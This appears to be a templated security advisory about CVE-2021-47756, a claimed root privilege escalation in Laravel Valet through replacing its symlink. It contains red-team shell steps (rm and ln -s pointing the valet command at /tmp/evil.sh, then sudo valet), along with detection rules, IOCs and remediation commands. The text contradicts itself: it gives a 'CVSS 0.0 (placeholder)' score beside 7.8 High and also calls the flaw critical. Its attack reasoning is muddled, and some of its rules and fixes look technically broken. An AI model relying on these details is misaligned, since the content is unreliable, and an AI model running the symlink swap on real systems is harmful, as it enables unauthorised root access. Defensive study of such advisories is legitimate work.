CVE-2021-47756

Executive Summary

CVE-2021-47756 is a local privilege escalation vulnerability in Laravel Valet versions 1.1.4 through 2.0.3. The flaw allows a local attacker with low privileges to modify the symlinked valet command, which runs with root privileges. By replacing the symlink target, an attacker can execute arbitrary code as root without additional authentication. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the full system compromise potential. No public exploit code is available, but the attack vector is straightforward for an attacker with local access.

Supply Chain & Package Security

Laravel Valet is a PHP-based development environment tool distributed via Composer (Packagist). The vulnerability affects the local installation and does not directly impact the supply chain, but it highlights risks in development tools that run with elevated privileges. Users should verify the integrity of their Valet installation and ensure they are on the latest patched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – full file system access.
• Integrity Impact: High (I:H) – arbitrary code execution as root.
• Availability Impact: High (A:H) – can disrupt system operations.

Threat Level: Critical. Exploitation leads to full root compromise.

Deep Dive & Mechanics

Laravel Valet installs a symlink at /usr/local/bin/valet (or similar) that points to the Valet executable. The valet command is typically run with sudo to manage services like Nginx and PHP. The vulnerability arises because the symlink is writable by the user who installed Valet (often the current user). An attacker can:

1. Identify the symlink location (e.g., ls -la /usr/local/bin/valet).
2. Remove the original symlink: rm /usr/local/bin/valet.
3. Create a new symlink pointing to a malicious script: ln -s /tmp/evil.sh /usr/local/bin/valet.
4. When a privileged user (or the attacker via sudo) runs valet, the malicious script executes with root privileges.

The attack does not require authentication beyond a standard user account. The vulnerability exists because Valet does not enforce ownership or permissions on the symlink during installation or updates.

Vulnerable vs. Patched Code

Vulnerable (versions 1.1.4 to 2.0.3): The installation script creates a symlink without checking if the target is already a symlink or if the path is writable by non-root users. Example vulnerable installation step:

ln -s /path/to/valet /usr/local/bin/valet

This allows any user with write access to /usr/local/bin/ to modify the symlink.

Patched (version 2.0.4+): The patched version uses sudo to create the symlink with root ownership and removes any existing symlink before creating a new one. Additionally, it verifies the integrity of the symlink path. Example fix:

sudo rm -f /usr/local/bin/valet
sudo ln -s /path/to/valet /usr/local/bin/valet
sudo chown root:root /usr/local/bin/valet

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running Laravel Valet 1.1.4 to 2.0.3.
• A standard user account (e.g., www-data or user).

Steps:

1. Create a malicious script that will execute as root:

   echo '#!/bin/bash
   id > /tmp/pwned.txt
   whoami >> /tmp/pwned.txt' > /tmp/evil.sh
   chmod +x /tmp/evil.sh
   

2. Remove the original Valet symlink:

   rm /usr/local/bin/valet
   

3. Create a new symlink pointing to the malicious script:

   ln -s /tmp/evil.sh /usr/local/bin/valet
   

4. Trigger the execution (either wait for a privileged user to run valet or run it yourself with sudo):

   sudo valet
   

5. Verify the exploit:

   cat /tmp/pwned.txt
   

   Output should show root as the user.

Note: No public exploit code is available, but the above steps demonstrate the attack.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unauthorized changes to /usr/local/bin/valet symlink.
• Alert on processes named valet that originate from unexpected paths.
• Use file integrity monitoring (FIM) on /usr/local/bin/.

Prevention:

• Upgrade to Valet 2.0.4 or later.
• Restrict write access to /usr/local/bin/ to root only.
• Use sudo with strict command whitelisting.
• Implement SELinux or AppArmor policies to limit symlink attacks.

Indicators of Compromise (IOCs)

• File: /usr/local/bin/valet pointing to a non-standard path (e.g., /tmp/evil.sh).
• Process: valet executed from /tmp/ or other writable directories.
• Logs: sudo logs showing valet command executed by unexpected users.
• Network: No network IOCs; attack is local.
• Registry (Windows): Not applicable (Linux/macOS only).

Detection Engineering

YARA Rule

rule CVE_2021_47756_Valet_Symlink_Abuse {
    meta:
        description = "Detects malicious symlink targeting Laravel Valet"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47756"
    strings:
        $s1 = "/usr/local/bin/valet" ascii wide nocase
        $s2 = "ln -s" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Laravel Valet Symlink Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects modification of the Valet symlink for privilege escalation
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ln'
        CommandLine|contains: '/usr/local/bin/valet'
    condition: selection
falsepositives:
    - Legitimate Valet updates by root
level: high

Suricata Rule

alert file any any -> any any (msg:"CVE-2021-47756 Laravel Valet Symlink Abuse"; file.name:"/usr/local/bin/valet"; file.magic:"symbolic link"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Laravel Valet to version 2.0.4 or later:

   composer global update laravel/valet
   valet install
   

2. Verify the symlink ownership:

   ls -la /usr/local/bin/valet
   

   It should be owned by root:root.

Long-term Mitigations:

• Restrict write access to /usr/local/bin/ to root only.
• Use sudo with !authenticate only for trusted commands.
• Implement file integrity monitoring (e.g., AIDE, Tripwire).
• Apply the principle of least privilege to all user accounts.

Workaround (if patching is not possible):

• Manually set the symlink to root ownership:

  sudo chown root:root /usr/local/bin/valet
  sudo chmod 755 /usr/local/bin/valet
  

Valters IT
Securing digital frontiers, one CVE at a time.